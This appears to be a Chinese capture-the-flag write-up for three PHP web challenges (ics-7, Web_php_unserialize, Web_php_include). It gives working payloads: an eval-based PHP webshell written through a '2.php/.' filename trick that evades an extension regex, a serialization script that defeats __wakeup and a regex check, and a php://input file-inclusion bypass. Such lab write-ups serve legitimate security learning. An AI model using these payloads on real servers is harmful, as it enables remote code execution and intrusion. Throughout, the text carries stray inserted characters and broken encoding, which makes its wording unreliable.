- ics-7
首頁(yè)給了view-source可以看源碼妥箕,里面有一個(gè)過(guò)濾
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && substr($_GET['id'], -1) === '9')
這里判斷字符串轉(zhuǎn)為浮點(diǎn)型不等于1抒寂,但是1是整型和浮點(diǎn)數(shù)強(qiáng)類型比較一定不等于洪灯,所以我覺(jué)得這里可能是一個(gè)提醒隔心,要查詢id=1白群,構(gòu)造id=1a9即可繞過(guò)這個(gè)判斷
拿到admin權(quán)限后可以到達(dá)文件寫入頁(yè)面,但是存在正則過(guò)濾
嘗試htaccess硬霍,截?cái)嘀穆琾hp.xxxx等多種方法均不能成功,最后看了wp里發(fā)現(xiàn)一種新方法
payload:
con=<?php @eval($_POST["cmd"]); ?>&file=2.php/.
這樣正則匹配時(shí)最后一個(gè).號(hào)后無(wú)匹配項(xiàng)唯卖,可以繞過(guò)正則過(guò)濾粱玲,同時(shí)./代表當(dāng)前文件夾,也就是寫入2.php中拜轨,而服務(wù)器解析文件是按后綴解析的抽减,這也就可以成功解析2.php
同理也可以構(gòu)造payload:
con=<?php @eval($_POST["cmd"]); ?>&file=2.php/1/..
- Web_php_unserialize
不難的一個(gè)題,繞過(guò)_wakeup()函數(shù)和一個(gè)正則
__wakeup()繞過(guò)只要令成員變量數(shù)量大于實(shí)際數(shù)量即可
正側(cè)繞過(guò)橄碾,這里讓O:4變成O:+4即可(這里沒(méi)想到卵沉,看到一道類似題wp才會(huì)
構(gòu)造payload:
$a= new Demo('fl4g.php');
$b=serialize($a);
$b=str_replace('O:4','O:+4',$b);
$b=str_replace('1:{','2:{',$b);
echo base64_encode($b);
輸出結(jié)果復(fù)制再提交為var參數(shù)即可
這里有個(gè)坑就是file是私有變量,序列化之后會(huì)有空白字符法牲,如果拿到在線網(wǎng)站base64編碼很容易就丟了空白字符史汗,所以這里直接在php里進(jìn)行base64編碼。
- Web_php_include
繞過(guò)正則拒垃,直接傳Php://input即可淹办,但是這個(gè)post的數(shù)據(jù)提交的時(shí)候進(jìn)行了ur編碼。恶复。所以抓包改一下吧怜森。速挑。